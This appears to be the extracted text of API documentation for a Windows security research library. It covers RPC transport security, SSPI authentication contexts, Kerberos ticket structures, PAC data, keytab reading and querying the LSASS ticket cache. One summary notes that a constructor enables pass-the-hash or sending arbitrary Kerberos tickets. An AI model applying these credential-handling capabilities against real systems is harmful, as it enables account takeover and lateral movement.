over a stream based socket. + + + + + Constructor. + + The socket to use to communicate. + The initial maximum receive fragment length. + The initial maximum send fragment length. + The transport security for the connection. + The data representation. + + + + Disconnect the client. + + + + + Dispose of the client. + + + + + Get whether the client is connected or not. + + + + + Get the named pipe port path that we connected to. + + + + + RPC client transport over TCP/IP; + + + + + Get the server process information. + + The server process information. + + + + Constructor. + + The hostname to connect to. + The TCP port to connect to. + The transport security for the connection. + + + + Get the transport protocol sequence. + + + + + Get information about the local server process, if known. + + + + + Exception generated by the RPC transport. + + + + + Constructor. + + + + + Constructor. + + Exception message. + + + + Constructor. + + Exception message. + Inner exception. + + + + Class to represent the RPC transport security. + + + + + Security quality of service. + + + + + Authentication level. + + + + + Authentication type. + + + + + Authentication credentials. + + + + + The SPN for the authentication. + + + + + Authentication capabilities. + + + + + Constructor. + + Factory to create a non-standard authentication context. + You can use this version to create a mechanism to pass existing tokens such as pass-the-hash or sending arbitrary Kerberos tickets. + + + + Constructor. + + Security quality of service. + + + + Query the service principal name for the server. + + The binding string for the server. + The authentication service to query. + True to throw on error. + The service principal name. + + + + Query the service principal name for the server. + + The binding string for the server. + The authentication service to query. + The service principal name. + + + + Class to represent an RPC transport security context. + + + + + The ID of the security context. + + + + + The RPC transport security settings. + + + + + The authentication context. + + + + + The negotiated authentication type. + + + + + The authentication level. + + + + + Dummy class to mark the old name as obsolete. + + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Safe handle for a loaded library. + + + + + Constructor + + The handle to the library + True if the handle is owned by this object. + + + + Release handle. + + True if handle released. + + + + Get the address of an exported function, throw if the function doesn't exist. + + The name of the exported function. + True to throw on error. + Pointer to the exported function. + Thrown if the name doesn't exist. + + + + Get the address of an exported function from an ordinal. + + The ordinal of the exported function. + True to throw on error. + Pointer to the exported function. + Thrown if the ordinal doesn't exist. + + + + Get the address of an exported function. + + The name of the exported function. + Pointer to the exported function, or IntPtr.Zero if it can't be found. + + + + Get the address of an exported function from an ordinal. + + The ordinal of the exported function. + Pointer to the exported function, or IntPtr.Zero if it can't be found. + + + + Get a delegate which points to an unmanaged function. + + The delegate type. + The name of the function to lookup. + True to throw on error. + The delegate. + + + + Get a delegate which points to an unmanaged function. + + The delegate type. The name of the delegate is used to lookup the name of the function. + True to throw on error. + The delegate. + + + + Get a delegate which points to an unmanaged function. + + The delegate type. + The name of the function to lookup. + The delegate. + + + + Get a delegate which points to an unmanaged function. + + The delegate type. The name of the delegate is used to lookup the name of the function. + The delegate. + + + + Pin the library into memory. This prevents FreeLibrary unloading the library until + the process exits. + + + + + Parse a library's delayed import information. + + A dictionary containing the location of import information keyed against the IAT address. + + + + Get the image sections from a loaded library. + + The list of image sections. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type name of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The well known type of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type of the resource. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type name of the resource. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The well known type of the resource. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type name of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The well known type of the resource. + True to throw on error. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type of the resource. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The type name of the resource. + The bytes for the resource. + + + + Load the resource's bytes from the module. + + The name of the resource. + The well known type of the resource. + The bytes for the resource. + + + + Get list of resource types from the loaded library. + + The list of resource types. + + + + Get list of resource types from the loaded library. + + The type for the resources. + True to load the resource data. + The list of resource types. + + + + Get list of resource types from the loaded library. + + The type for the resources. + The list of resource types. + This always loads resource data into memory. + + + + Get list of resource types from the loaded library. + + The typename for the resources. + True to load the resource data. + The list of resource types. + + + + Get list of resource types from the loaded library. + + The typename for the resources. + The list of resource types. + This always loads resource data into memory. + + + + Get list of resource types from the loaded library. + + The well known type for the resources. + True to load the resource data. + The list of resource types. + + + + Get list of resource types from the loaded library. + + The well known type for the resources. + The list of resource types. + This always loads resource data into memory. + + + + Get list of resource types from the loaded library. + + True to load the resource data. + The list of resource types. + + + + Get list of resource types from the loaded library. + + The list of resource types. + This always loads resource data into memory. + + + + Load a string for the library's string resource table. + + The ID of the string. + True to throw on error. + The loaded string. + + + + Load a string for the library's string resource table. + + The ID of the string. + The loaded string. + + + + Increases the reference count and returns a new instance. + + + + + + Get path to loaded module. + + + + + Get the module name. + + + + + Whether this library is mapped as an image. + + + + + Whether this library is mapped as a datafile. + + + + + Get current mapped image base. + + + + + Get original image base address. + + + + + Get image entry point RVA. + + + + + Get image entry point address as mapped. + + + + + Get whether the image is 64 bit or not. + + + + + Get the image's DLL characteristics flags. + + + + + Get exports from the DLL. + + + + + Get imports from the DLL. + + + + + Return resolved API set imports for the DLL. + + + + + Get CodeView Debug Data from DLL. + + + + + Get image signing level. + + + + + Get embedded enclave configuration. + + + + + Load a library into memory. + + The path to the library. + Additonal flags to pass to LoadLibraryEx + True to throw on error. + Handle to the loaded library. + + + + Load a library into memory. + + The path to the library. + Additonal flags to pass to LoadLibraryEx + Handle to the loaded library. + + + + Load a library into memory. + + The path to the library. + Handle to the loaded library. + + + + Get the handle to an existing loading library by name. + + The name of the module. + The handle to the loaded library. + Thrown if the module can't be found. + This will take a reference on the library, you should dispose the handle after use. + + + + Get the handle to an existing loading library by name. + + The name of the module. + The handle to the loaded library. Returns Null if not found. + This will take a reference on the library, you should dispose the handle after use. + + + + Get the handle to an existing loading library by an address in the module. + + An address inside the module. + The handle to the loaded library, null if the address isn't inside a valid module. + This will take a reference on the library, you should dispose the handle after use. + + + + Pin the library into memory. This prevents FreeLibrary unloading the library until + the process exits. + + The name of the module to pin. + + + + Pin the library into memory. This prevents FreeLibrary unloading the library until + the process exits. + + The address of the module to pin. + + + + NULL load library handle. + + + + + Represents an impersonation safe win32 exception, which resolves the win32 message when Message is called. + + + + + Constructor. + + + + + Constructor. + + Win32 error. + + + + The message for the exception. + + + + + Access rights for system audit policy. + + + + + System Audit Category. + + + + + System Audit Category. + + + + + The user for the per-user category. + + + + + System Audit Category base class. + + + + + The ID of the category. + + + + + The name of the category. + + + + + List of sub categories. + + + + + Convert to string. + + The name of the category. + + + + Set audit policy on all sub categories. + + The flags to set. + True to throw on error. + The audit policy flags. + + + + Set audit policy on all sub categories. + + The flags to set. + The audit policy flags. + + + + Type of global SACL to query or set. + + + + + File type. + + + + + Key type. + + + + + Policy audit event type. + + + + + Audit policy flags. + + + + + Set unchanged. + + + + + Audit on success. + + + + + Audit on failure. + + + + + Audit nothing. + + + + + Per user policy flags. + + + + + Set unchanged. + + + + + Audit on success included. + + + + + Audit on success excluded. + + + + + Audit on failure included. + + + + + Audit on failure excluded. + + + + + Audit nothing. + + + + + Utilities for security auditing policy. + + + + + Name for the fake Audit NT type. + + + + + Get the generic mapping for directory services. + + The directory services generic mapping. + + + + Get a fake NtType for System Audit Policy. + + The fake Directory Services NtType + + + + Query the Auditing Security Descriptor. + + The security information to query. + True to throw on error. + The security descriptor. + + + + Query the Auditing Security Descriptor. + + The security information to query. + The security descriptor. + + + + Query the Auditing Security Descriptor. + + The security descriptor. + + + + Set the Auditing Security Descriptor. + + The security information to set. + The security descriptor to set. + True to throw on error. + The NT status code. + + + + Set the Auditing Security Descriptor. + + The security information to set. + The security descriptor to set. + The NT status code. + + + + Query the global SACL. + + The global SACL type. + True to throw on error. + The global SACL in a Security Descriptor. + + + + Query the global SACL. + + The global SACL type. + The global SACL in a Security Descriptor. + + + + Set the global SACL. + + The global SACL type. + The SACL to set in an Security Descriptor. + True to throw on error. + The NT status code. + + + + Set the global SACL. + + The global SACL type. + The SACL to set in an Security Descriptor. + The NT status code. + + + + Get list of Audit Policy categories. + + True to throw on error. + The list of categories. + + + + Get list of Audit Policy categories. + + The list of categories. + + + + Get a single category. + + The category type. + The audit category. + + + + Get a single category. + + The category GUID. + The audit category. + + + + Get all per-user categories for denied users. + + True to throw on error. + The list of per-user categories. + + + + Get all per-user categories for denied users. + + The list of per-user categories. + + + + Get list of per-user Audit Policy categories. + + The user SID to query. + True to throw on error. + The list of categories. + + + + Get list of per-user Audit Policy categories. + + The user SID to query. + The list of categories. + + + + Get a single per-user category. + + The user SID to query. + The category type. + The audit category. + + + + Get a single per-user category. + + The user SID to query. + The category GUID. + The audit category. + + + + Class representing an Audit Sub Category. + + + + + The category. + + + + + Class representing an Audit Sub Category. + + + + + The category. + + + + + The user for the per-user category. + + + + + Class representing an Audit Sub Category. Base class. + + Enum type for the Policy flags. + + + + The ID of the sub category. + + + + + The name of the sub category. + + + + + The Current Audit Policy + + + + + Convert to string. + + The name of the subcategory. + + + + Query audit policy. + + True to throw on error. + The audit policy flags. + + + + Set audit policy. + + The flags to set. + True to throw on error. + The audit policy flags. + + + + Set audit policy. + + The flags to set. + The audit policy flags. + + + + Authentication token constructed from ASN1. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The ASN1 authentication token. + True if this is a token from a client. + The token count number. + True if parsed successfully. + + + + Base class for authentication credentials. + + + + + Security data representation. + + + + + Native representation. + + + + + Network representation. + + + + + Credital flags. + + + + + Inbound credentials. + + + + + Outbound credentials. + + + + + Both credentials direction. + + + + + Default. + + + + + Auto logon restricted. Don't use automatic credentials. + + + + + Only process policy. + + + + + Initialize context request flags. + + + + + Initialize context return flags. + + + + + Access context request flags. + + + + + Accept context return flags. + + + + + Security package capability flags. + + + + + Supports integrity on messages + + + + + Supports privacy (confidentiality) + + + + + Only security token needed + + + + + Datagram RPC support + + + + + Connection oriented RPC support + + + + + Full 3-leg required for re-auth. + + + + + Server side functionality not available + + + + + Supports extended error msgs + + + + + Supports impersonation + + + + + Accepts Win32 names + + + + + Supports stream semantics + + + + + Can be used by the negotiate package + + + + + GSS Compatibility Available + + + + + Supports common LsaLogonUser + + + + + Token Buffers are in ASCII + + + + + Package can fragment to fit + + + + + Package can perform mutual authentication + + + + + Package can delegate + + + + + Supports integrity readonly checksum buffers. + + + + + Package supports restricted callers + + + + + This package extends SPNEGO, there is at most one + + + + + This package is negotiated under the NegoExtender + + + + + This package receives all calls from appcontainer apps + + + + + this package receives calls from appcontainer apps + if the following checks succeed + 1. Caller has domain auth capability or + 2. Target is a proxy server or + 3. The caller has supplied creds + + + + + This package is running with Credential Guard enabled + + + + + this package supports reliable detection of loopback + 1.) The client and server see the same sequence of tokens + 2.) The server enforces a unique exchange for each + non-anonymous authentication. (Replay detection) + + + + + Impersonation context for a server authentication. + + + + + Base class which represents an authentication key. + + + + + An authentication package entry. + + + + + Authentication package name for MSV1.0 + + + + + Authentication package name for Kerberos. + + + + + Authentication package name for Negotiate. + + + + + Authentication package name for NTLM. + + + + + Authentication package name for Digest. + + + + + Authentication package name for SChannel. + + + + + Authentication package name for CredSSP. + + + + + Capabilities of the package. + + + + + Version of the package. + + + + + RPC DCE ID. + + + + + Max token size. + + + + + Name of the package. + + + + + Comment for the package. + + + + + Get authentication packages. + + The list of authentication packages. + + + + Get authentication package names. + + The list of authentication package names. + + + + Get an authentication package by name. + + The name of the package. + The authentication package. + + + + Base class to represent an authentication token. + + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Convert the authentication token to a byte array. + + The byte array. + + + + Get the length of the token in bytes. + + + + + Format the authentication token. + + The token as a formatted string. + + + + Constructor. + + The authentication token data. + + + + Parse a structured authentication token. + + The authentication context. + The token to parse. + The parsed authentication token. If can't parse any other format returns + a raw AuthenticationToken. + + + + Parse a structured authentication token. + + The package name to parse as. + True if the token is from a client. + The token to parse. + The parsed authentication token. If can't parse any other format returns + a raw AuthenticationToken. + + + + Class to represent a client authentication context. + + + + + The current authentication token. + + + + + Whether the authentication is done. + + + + + Current request attribute flags. + + + + + Current return attribute flags. + + + + + Current data representation. + + + + + Current target name. + + + + + Current channel binding. + + + + + Current status flags. + + + + + Expiry of the authentication. + + + + + Get the Session Key for this context. + + + + + Get the maximum signature size of this context. + + + + + Get the size of the security trailer for this context. + + + + + Size of any header when using a stream protocol such as Schannel. + + + + + Size of any trailer when using a stream protocol such as Schannel. + + + + + Number of buffers needed when using a stream protocol such as Schannel. + + + + + Maximum message size when using a stream protocol such as Schannel. + + + + + Preferred block size when using a stream protocol such as Schannel. + + + + + Get the local certificate. Only used for Schannel related authentication. + + + + + Get the remote certificate. Only used for Schannel related authentication. + + + + + Get the last token status for the client context. + + + + + Get the name of the authentication package. + + + + + Get connection information for the schannel connection. + + + + + Get whether the authentication context is for loopback. + + + + + Get or set whether the context owns the credentials object or not. If true + then the credentials are disposed with the context. + + + + + Constructor. + + Credential handle. + Request attribute flags. + Target SPN (optional). + Data representation. + Optional channel binding token. + Specify to default initialize the context. Must call Continue with an auth token to initialize. + + + + Constructor. + + Credential handle. + Request attribute flags. + Target SPN (optional). + Data representation. + Optional channel binding token. + + + + Constructor. + + Credential handle. + Request attribute flags. + Target SPN (optional). + Data representation. + + + + Constructor. + + Credential handle. + Request attribute flags. + Data representation. + + + + Constructor. + + Credential handle. + + + + Continue the authentication with the server token. + + The server token to continue authentication. + + + + Continue the authentication.. + + The server token to continue authentication. + Additional input buffers for the continue, does not need to include the token. + + + + Continue the authentication. + + The server token to continue authentication. + Additional input buffers for the continue, does not need to include the token. + Additional output buffers, does not need to include the token. + + + + Continue the authentication without any token. + + Input buffers for the continue. Does not contain a token. + Specify additional output buffers, does not need to include the token. + True to throw on error. + This sends the input buffers directly to the initialize call, it does not contain any token. + + + + Continue the authentication without any token. + + Input buffers for the continue. Does not contain a token. + Specify additional output buffers, does not need to include the token. + This sends the input buffers directly to the initialize call, it does not contain any token. + + + + Continue the authentication. Will not pass any buffers to the initialize call. + + + + + Make a signature for this context. + + The message buffers to sign. + The sequence number. + The signature blob. + + + + Make a signature for this context. + + The message to sign. + The sequence number. + The signature blob. + + + + Verify a signature for this context. + + The message to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Verify a signature for this context. + + The messages to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Encrypt a message for this context. + + The message to encrypt. + Quality of protection flags. + The encrypted message. + The sequence number. + + + + Encrypt a message for this context. + + The messages to encrypt. + Quality of protection flags. + The signature for the messages. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + The sequence number. + + + + Encrypt a message for this context with no specific signature. + + The messages to encrypt. + Quality of protection flags. + The sequence number. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + If you need to return a signature then it must be specified in a buffer. + + + + Decrypt a message for this context. + + The message to decrypt. + The sequence number. + The decrypted message. + + + + Decrypt a message for this context. + + The messages to decrypt. + The sequence number. + The signature for the messages. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + + + + Decrypt a message for this context. + + The messages to decrypt. + The sequence number. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + If you need to specify a signature you need to add a buffer. + + + + Query the context's package info. + + The authentication package info, + + + + Export and delete the current security context. + + The exported security context. + The security context will not longer be usable afterwards. + + + + Dispose the client context. + + + + + Finalizer. + + + + + Class to represent a credential handle. + + + + + Name of the authentication package used. + + + + + Expiry of the credentials. + + + + + Constructor. + + User principal. + The package name. + Optional authentication ID for the user. + Credential user flags. + Optional authentication data. + + + + Create a new credential handle. + + User principal. + The package name. + Optional authentication ID for the user. + Credential user flags. + Optional credentials. + The credential handle. + + + + Create a new credential handle. + + The package name. + Optional authentication ID for the user. + Credential user flags. + Optional credentials. + The credential handle. + + + + Create a new credential handle. + + The package name. + Credential user flags. + Optional credentials. + The credential handle. + + + + Create a new credential handle. + + The package name. + Credential user flags. + The credential handle. + + + + Dispose. + + + + + Finalizer. + + + + + Credentials for the CredSSP package. + + This is only needed if you must have both schannel and user credentials. Otherwise use UserCredentials or SchannelCredentials. + + + + Constructor. + + The credentials for the Schannel connection. + The credentials for the user. + + + + Constructor. + + The credentials for the user. + + + + Authentication token for a digest token. + + + + + The digest token as a string. + + + + + Format the authentication token. + + + + + + An encrypted message. + + + + + The encrypted message. + + + + + The signature for the message. + + + + + Constructor. + + The encrypted message. + The signature for the message. + + + + Class to represent an exported security context. + + + + + The name of the package for this security context. + + + + + The serialized context. + + + + + The context's token. + + + + + Dispose the exported context. + + + + + A class which represents an GSS-API Token. + + + + + Interface for authentication contexts. + + + + + The current authentication token. + + + + + Whether the authentication is done. + + + + + Expiry of the authentication. + + + + + Session key for the context. + + + + + Make a signature for this context. + + The message to sign. + The sequence number. + The signature blob. + + + + Verify a signature for this context. + + The message to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Make a signature for this context. + + The message buffers to sign. + The sequence number. + The signature blob. + + + + Verify a signature for this context. + + The messages to verify. + The signature blob for the message. + The sequence number. + True if the signature is valid, otherwise false. + + + + Encrypt a message for this context. + + The message to encrypt. + Quality of protection flags. + The encrypted message. + The sequence number. + + + + Encrypt a message for this context. + + The messages to encrypt. + Quality of protection flags. + The signature for the messages. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + The sequence number. + + + + Encrypt a message for this context with no specific signature. + + The messages to encrypt. + Quality of protection flags. + The sequence number. + The messages are encrypted in place. You can add buffers with the ReadOnly flag to prevent them being encrypted. + If you need to return a signature then it must be specified in a buffer. + + + + Decrypt a message for this context. + + The message to decrypt. + The sequence number. + The decrypted message. + + + + Decrypt a message for this context. + + The messages to decrypt. + The signature for the messages. + The sequence number. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + + + + Decrypt a message for this context. + + The messages to decrypt. + The sequence number. + The messages are decrypted in place. You can add buffers with the ReadOnly flag to prevent them being decrypted. + If you need to specify a signature you need to add a buffer. + + + + Export and delete the current security context. + + The exported security context. + The security context will not longer be usable afterwards. + + + + Query the context's package info. + + The authentication package info, + + + + Get the name of the authentication package. + + + + + Continue the authentication with the token. + + The token to continue authentication. + + + + Continue the authentication.. + + The token to continue authentication. + Additional input buffers for the continue, does not need to include the token. + + + + Continue the authentication. + + The token to continue authentication. + Additional input buffers for the continue, does not need to include the token. + Specify additional output buffers, does not need to include the token. + + + + Continue the authentication. + + Additional input buffers for the continue. Does not contain a token. + Specify additional output buffers, does not need to include the token. + This sends the input buffers directly to the initialize call, it does not contain any token. + + + + Continue the authentication. Will not pass any buffers to the accept call. + + + + + Get the maximum signature size of this context. + + + + + Get the size of the security trailer for this context. + + + + + Interface for a client authentication context. + + + + + Get the last token status for the client context. + + + + + Placeholder interface for a server authentication context. + + + + + Utilities for building Kerberos structures. + + + + + Class to represent a Kerberos AP Reply. + + + + + Encrypted mutual authentication data. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + Encrypted part for AP-REP messages. + + + + + Client uS. + + + + + Client time. + + + + + Subkey. + + + + + Sequence number. + + + + + Options for AP Request + + + + + None. + + + + + Use Session Key. + + + + + Mutual authentication required. + + + + + Class to represent a Kerberos AP Request. + + + + + AP Request Options. + + + + + The Kerberos Ticket. + + + + + Authenticator data. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + A single kerberos key. + + + + + The Key encryption type. + + + + + The key. + + + + + The key name type. + + + + + The Realm for the key. + + + + + The name components for the key. + + + + + Principal name as a string. + + + + + Timestamp when key was created. + + + + + Key Version Number (KVNO). + + + + + Constructor. + + The Key encryption type. + The key. + The key name type. + The Realm for the key. + The name components for the key. + Timestamp when key was created. + Key Version Number (KVNO). + + + + Constructor. + + The Key encryption type. + The key. + The key name type. + The Realm for the key. + The name components for the key. + Timestamp when key was created. + Key Version Number (KVNO). + + + + Constructor. + + The Key encryption type. + The key. + The key name type. + Principal for key, in form TYPE/name@realm. + Timestamp when key was created. + Key Version Number (KVNO). + + + + Constructor. + + The Key encryption type. + The key as a hex string. + The key name type. + Principal for key, in form TYPE/name@realm. + Timestamp when key was created. + Key Version Number (KVNO). + + + + Derive a key from a password. + + Not all encryption types are supported. + The key encryption to use. + The password to derice from. + Iterations for the password derivation. + The key name type. + Principal for key, in form TYPE/name@realm. + Salt for the key. + Key Version Number (KVNO). + + + + + Authentication Token for Kerberos. + + + + + Protocol version. + + + + + Message type. + + + + + Parse bytes into a kerberos token. + + The kerberos token in bytes. + The Kerberos token. + + + + Try and parse data into an Kerberos authentication token. + + The data to parse. + The Kerberos authentication token. + True if this is a token from a client. + The token count number. + True if parsed successfully. + + + + Class to represent an unencrypted kerberos authenticator. + + + + + Authenticator version. + + + + + Client realm. + + + + + Client name. + + + + + Checksum value. + + + + + Client uS. + + + + + Client time. + + + + + Subkey. + + + + + Sequence number. + + + + + Authorization data. + + + + + Type of Authorization Data. + + + + + Class representing Kerberos authentication data. + + + + + Type of authentication data. + + + + + Data bytes. + + + + + Flags for the AD-AUTH-DATA-AP-OPTIONS authorization data. + + + + + Class to represent the AD-AUTH-DATA-AP-OPTIONS authorization data. + + + + + Flags for the AD-AUTH-DATA-AP-OPTIONS authorization data. + + + + + Class to represent AD_ETYPE_NEGOTIATION type. + + + + + List of supported encryption types. + + + + + Class to represent a KERB_LOCAL authorization data value. + + + + + The security context identifier for the KERB_LOCAL value. + + + + + Class to represent AD_WIN2K_PAC type. + + + + + List of PAC entries. + + + + + Source of a set of claims. + + + + + From Active Directory. + + + + + From a certificate. + + + + + A single claim set. + + + + + The source of the claims array. + + + + + The list of claim attributes. + + + + + Class representing a Claims Set in the PAC. + + + + + List of claims arrays. + + + + + Class to represent PAC Client Info. + + + + + Client ID. + + + + + Name of client. + + + + + Class to represent PAC Device Info. + + + + + Sid of the Device. + + + + + Primary group SID. + + + + + List of account groups. + + + + + List of extra SIDs. + + + + + List of domain groups. + + + + + Type for the PAC Entry. + + + + + Single PAC Entry. + + + + + Type of PAC entry. + + + + + The PAC data. + + + + + User account control flags. + + + + + User flags for kerberos authentication. + + + + + Class to represent PAC Logon Information. + + + + + Logon time. + + + + + Logoff time. + + + + + Kick off time. + + + + + Time password last set. + + + + + Time password can change. + + + + + Time password must change. + + + + + Effective name. + + + + + Full name. + + + + + Logon script path. + + + + + Profile path. + + + + + Home directory path. + + + + + Home directory drive. + + + + + Logon count. + + + + + Bad password count. + + + + + User SID. + + + + + Primary group SID. + + + + + Group list. + + + + + User flags. + + + + + User session key. + + + + + Logon server name. + + + + + Logon domain name. + + + + + Logon domain sid. + + + + + Extra SIDs. + + + + + User account control flags. + + + + + Resource domain group SID. + + + + + Resource groups. + + + + + Class to represent a PAC signature. + + + + + Signature type. + + + + + Signature. + + + + + Read-only Domain Controller Identifier. + + + + + Flags for the UPN_DNS_INFO. + + + + + No flags. + + + + + The user has no UPN. + + + + + Class to represent UPN_DNS_INFO. + + + + + Flags. + + + + + The User Principal Name. + + + + + The DNS Domain Name. + + + + + Flags for KerberosAuthorizationDataRestrictionEntry + + + + + Full UAC token. + + + + + Limited UAC token. + + + + + Class to represent the KERB_AD_RESTRICTION_ENTRY AD type. + + + + + Flags. + + + + + Token IL. + + + + + Machine ID. + + + + + Class to represent the AD-AUTH-DATA-TARGET-NAME authorization data. + + + + + The target name. + + + + + Class to represent a Kerberos Checksum. + + + + + Type of kerberos checksum. + + + + + The checksum value. + + + + + Flags for GSSAPI Checksum. + + + + + A kerberos checksum in GSS API Format. + + + + + Channel binding hash. + + + + + Flags for checksum. + + + + + Delegation option identifier. + + + + + KRB_CRED structure when in delegation. + + + + + Additional extension data. + + + + + Kerberos Checksum Type. + + + + + Class representing a KRB-CRED structure. + + + + + List of tickets in this credential. + + + + + Encrypted part contains sesssion keys etc. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + Class to represent Kerberos Encrypted Data. + + + + + Encryption type for the CipherText. + + + + + Key version number. + + + + + Cipher Text. + + + + + Kerberos Encryption Type. + + + + + Class to represent a Kerberos Error. + + + + + Client time. + + + + + Client micro-seconds. + + + + + Server time. + + + + + Server micro-seconds. + + + + + Error code. + + + + + Client realm. + + + + + Client name. + + + + + Server realm. + + + + + Server name, + + + + + Error text. + + + + + Error data. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Create a new KRB-ERROR authentication token. + + Optional client time. + Server time. + Error code. + Optional client realm. + Optional client name. + Server realm + Server name. + Optional error text. + Optional error data. + The KRB-ERROR authentication token. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + Kerberos Error Type. + + + + + Class to represent a cached external ticket. + + + + + Service name. + + + + + Target name. + + + + + Client name. + + + + + Domain name. + + + + + Target domain name. + + + + + Alt target domain name. + + + + + Session key for ticket. + + + + + Ticket flags. + + + + + Additional reserved flags. + + + + + Key expiration time. + + + + + Ticket start time. + + + + + Ticket end time. + + + + + Ticket renew time. + + + + + Time skew. + + + + + Ticket. + + + + + Type of Kerberos Host Address. + + + + + Class representing a Kerberos Host Address. + + + + + Type of host address. + + + + + Address bytes. + + + + + ToString Method. + + The formatted string. + + + + A set of Kerberos Keys. + + + + + Get keys which match the encryption type. + + The encryption type. + The list of keys which match the encryption type. + + + + Add a key to the key set. + + The key to add. + True if the key was added, false if the key already existed. + + + + Remove a key from the key set. + + The key to remove. + True if the key was removed. + + + + Find a key based on various parameters. + + The encryption type. + The name type. + The principal. + The key version. + + + + + Read keys from a MIT KeyTab file. + + The file stream. + The key set. + Throw if invalid file. + + + + Read keys from a MIT KeyTab file. + + The file path. + The key set. + Throw if invalid file. + + + + Constructor. + + + + + Constructor. + + The single kerberos key. + + + + Constructor. + + A list of kerberos keys. + + + + Key usage for kernel encryption. + + + + + Kerberos Message Type. + + + + + Kerberos Name Type. + + + + + Kerberos Pre-Authentication Data Types. + + + + + A Kerberos Principal Name. + + + + + The name type. + + + + + The names for the principal. + + + + + Full name. + + + + + ToString method. + + String of the object. + + + + Get principal name with a realm. + + The realm for the principal. + The principal. + + + + Constructor. + + The type of the principal name. + The list of names for the principal. + + + + Class to represent a User to User TGT Reply. + + + + + The Kerberos Ticket. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Decrypt the Authentication Token using a keyset. + + The set of keys to decrypt the + The decrypted token, or the same token if nothing could be decrypted. + + + + Create a new TGT-REP authentication token. + + The TGT ticket to embed in the token. + The + + + + Create a new TGT-REP authentication token. + + The TGT ticket to embed in the token. + The + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + Class to represent a User to User TGT Request. + + + + + Realm. + + + + + Server name. + + + + + Format the Authentication Token. + + The Formatted Token. + + + + Create a new TGT-REQ authentication token. + + Optional realm string. + Optional server name. + The new TGT-REQ authentication token. + + + + Create a new TGT-REQ authentication token without the GSS-API wrapper. + + Optional realm string. + Optional server name. + The new TGT-REQ authentication token. + + + + Try and parse data into an ASN1 authentication token. + + The data to parse. + The Negotiate authentication token. + Parsed DER Values. + + + + Class to represent a Kerberos ticket. + + + + + Version number for the ticket. + + + + + Realm. + + + + + Server name. + + + + + Encrypted data for the ticket. + + + + + Get the principal for the ticket. + + + + + Indicates that the ticket has been decrypted. + + + + + Decrypt the kerberos ticket. + + The Kerberos key set containing the keys. + The key usage for the decryption. + The decrypted kerberos ticket. + + + + Format the ticket to a string. + + The ticket as a string. + + + + Convert the ticket to an array. + + The ticket as an array. + + + + Class to query the Kerberos Ticket Cache from LSASS. + + + + + Get a Kerberos Ticket. + + The target service for the Ticket. + True to only query for cached tickets. + True to throw on error. + The Kerberos Ticket. + + + + Get a Kerberos Ticket. + + The target service for the Ticket. + True to only query for cached tickets. + The Kerberos Ticket. + + + + Get a Kerberos Ticket. + + The target service for the Ticket. + The Kerberos Ticket. + + + + Query Kerberos Ticket cache. + + The Logon Session ID to query. + True to throw on error. + The list of cached tickets. + + + + Query Kerberos Ticket cache. + + The Logon Session ID to query. + The list of cached tickets. + + + + Query Kerberos Ticket cache for the current logon session. + + The list of cached tickets. + + + + Flags for a Kerberos Ticket. + + + + + Class to represent a Decrypted Kerberos ticket. + + + + + Ticket flags. + + + + + Client Realm. + + + + + Client name. + + + + + Authentication time, + + + + + Start time. + + + + + End time. + + + + + Renew till time. + + + + + The kerberos session key. + + + + + The ticket transited type information. + + + + + List of host addresses for ticket. + + + + + List of authorization data. + + + + + The supported transited encoding types. + + + + + None. + + + + + X.500 Compress. + + + + + Class to represent a Kerberos Transiting Encoding. + + + + + Transited encoding type. + + + + + Transited encoding data. + + + + + Utilities for Kerberos authentication. + + + + + Read keys from a MIT KeyTab file. + + The file stream. + The list of keys. + Throw if invalid file. + + + + Read keys from a MIT KeyTab file. + + The file path. + The list of keys. + Throw if 